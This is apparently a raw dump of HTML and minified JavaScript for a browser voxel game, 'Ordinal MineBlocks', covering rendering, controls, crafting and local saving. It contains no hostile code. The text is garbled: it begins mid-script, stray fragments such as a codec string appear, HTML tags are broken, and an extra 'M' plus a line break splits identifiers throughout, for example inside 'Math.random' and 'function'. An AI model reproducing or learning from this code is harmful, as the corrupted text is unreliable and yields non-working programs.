&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
